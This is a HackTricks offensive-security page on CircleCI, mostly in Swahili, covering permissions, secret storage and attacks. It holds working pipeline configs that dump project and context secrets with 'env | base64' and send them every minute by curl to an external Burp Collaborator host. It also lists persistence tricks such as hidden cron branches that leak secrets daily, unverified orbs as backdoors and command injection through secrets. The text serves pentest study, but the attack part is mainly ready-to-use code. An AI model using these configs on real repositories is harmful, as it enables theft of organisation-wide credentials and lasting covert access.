CircleCI Security

Support HackTricks

Basic Information

CircleCI ni jukwaa la Uunganishaji Endelevu ambapo unaweza kufafanua templeti zinazoonyesha unachotaka ifanye na msimbo fulani na wakati wa kufanya hivyo. Kwa njia hii unaweza kujiandaa kwa majaribio au kupeleka moja kwa moja kutoka kwa tawi kuu la repo yako kwa mfano.

Permissions

CircleCI inapata ruhusa kutoka github na bitbucket zinazohusiana na akaunti inayingia. Katika majaribio yangu nilikagua kwamba kadri unavyo kuwa na ruhusa za kuandika juu ya repo katika github, utaweza kusimamia mipangilio ya mradi wake katika CircleCI (weka funguo mpya za ssh, pata funguo za api za mradi, tengeneza matawi mapya na mipangilio mipya ya CircleCI...).

Hata hivyo, unahitaji kuwa admin wa repo ili kubadilisha repo kuwa mradi wa CircleCI.

Env Variables & Secrets

Kulingana na nyaraka kuna njia tofauti za kuchaji thamani katika mabadiliko ya mazingira ndani ya mchakato.

Built-in env variables

Kila kontena linalotumiwa na CircleCI litakuwa na mabadiliko maalum ya mazingira yaliyoainishwa katika nyaraka kama CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME au CIRCLE_USERNAME.

Clear text

Unaweza kuyatangaza kwa maandiko wazi ndani ya amri:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Unaweza kutangaza hizo kwa maandiko wazi ndani ya run environment:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Unaweza kutangaza hizo kwa maandiko wazi ndani ya build-job environment:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Unaweza kutangaza hizo kwa maandiko wazi ndani ya mazingira ya kontena:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Siri za Mradi

Hizi ni siri ambazo zitakuwa zinapatikana tu na mradi (kwa tawi lolote). Unaweza kuziona zimeelezwa katika https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Kazi ya "Import Variables" inaruhusu kuagiza mabadiliko kutoka miradi mingine hadi hii.

Siri za Muktadha

Hizi ni siri ambazo ni za shirika lote. Kwa kawaida repo yoyote itakuwa na uwezo wa kufikia siri yoyote iliyohifadhiwa hapa:

Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza kuchaguliwa ili kutoa ufaccess kwa siri kwa watu maalum tu. Hii kwa sasa ni moja ya njia bora za kuongeza usalama wa siri, ili kuto ruhusu kila mtu kuzifikia bali watu wachache tu.

Mashambulizi

Tafuta Siri za Maandishi Safi

Ikiwa una ufaccess kwa VCS (kama github) angalia faili .circleci/config.yml ya kila repo kwenye kila tawi na tafuta siri za maandishi safi zinazoweza kuwa zimehifadhiwa humo.

Siri za Env Vars & Uainishaji wa Muktadha

Ukikagua msimbo unaweza kupata majina yote ya siri yanayotumika katika kila faili .circleci/config.yml. Unaweza pia kupata majina ya muktadha kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Fanya Uhamishaji wa Siri za Mradi

Ili kuhamasisha ZOTE siri za mradi na muktadha UNAHITAJIKA kuwa na UFACCESS wa repo 1 tu katika shirika lote la github (na akaunti yako inapaswa kuwa na ufaccess kwa muktadha lakini kwa kawaida kila mtu anaweza kufikia kila muktadha).

Kazi ya "Import Variables" inaruhusu kuagiza mabadiliko kutoka miradi mingine hadi hii. Hivyo, mshambuliaji anaweza kuagiza mabadiliko yote ya mradi kutoka kwa repos zote na kisha kuhamasisha yote pamoja.

Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo tu kuita env na kuificha kwa base64 itahamisha siri katika console ya log ya kazi za wavuti:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Ikiwa huna ufikiaji wa console ya wavuti lakini una ufikiaji wa repo na unajua kuwa CircleCI inatumika, unaweza tu kuunda workflow ambayo inachochewa kila dakika na ambayo inatoa siri kwa anwani ya nje:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltrate Context Secrets

Unahitaji kueleza jina la muktadha (hii pia itatoa siri za mradi):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Ikiwa huna ufikiaji wa console ya wavuti lakini una ufikiaji wa repo na unajua kuwa CircleCI inatumika, unaweza tu kubadilisha workflow ambayo inasababishwa kila dakika na ambayo inasafirisha siri kwa anwani ya nje:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Kujenga tu .circleci/config.yml mpya katika repo siyo ya kutosha kuanzisha ujenzi wa circleci. Unahitaji kuwezesha kama mradi katika console ya circleci.

Kutoroka hadi Cloud

CircleCI inakupa chaguo la kuendesha ujenzi wako katika mashine zao au katika zako mwenyewe. Kwa kawaida mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika mashine zao wenyewe (labda, katika mazingira ya cloud), unaweza kupata nukta ya metadata ya cloud yenye taarifa za kuvutia.

Kumbuka kwamba katika mifano ya awali kila kitu kilizinduliwa ndani ya kontena la docker, lakini unaweza pia kuomba kuzindua mashine ya VM (ambayo inaweza kuwa na ruhusa tofauti za cloud):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Au hata kontena la docker lenye ufikiaji wa huduma ya docker ya mbali:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • Inawezekana kuunda tokens za mtumiaji katika CircleCI ili kufikia API endpoints kwa ufikiaji wa watumiaji.

  • https://app.circleci.com/settings/user/tokens

  • Inawezekana kuunda tokens za miradi ili kufikia mradi kwa ruhusa zilizotolewa kwa token.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Inawezekana kuongeza funguo za SSH kwenye miradi.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Inawezekana kuunda kazi ya cron katika tawi lililofichwa katika mradi usiotarajiwa ambao unatoa leak ya context env vars kila siku.

  • Au hata kuunda katika tawi / kubadilisha kazi inayojulikana ambayo itatoa leak ya muktadha wote na siri za miradi kila siku.

  • Ikiwa wewe ni mmiliki wa github unaweza kuruhusu orbs zisizothibitishwa na kuziunda katika kazi kama backdoor

  • Unaweza kupata udhaifu wa kuingiza amri katika kazi fulani na kuingiza amri kupitia siri kwa kubadilisha thamani yake.

Support HackTricks

Last updated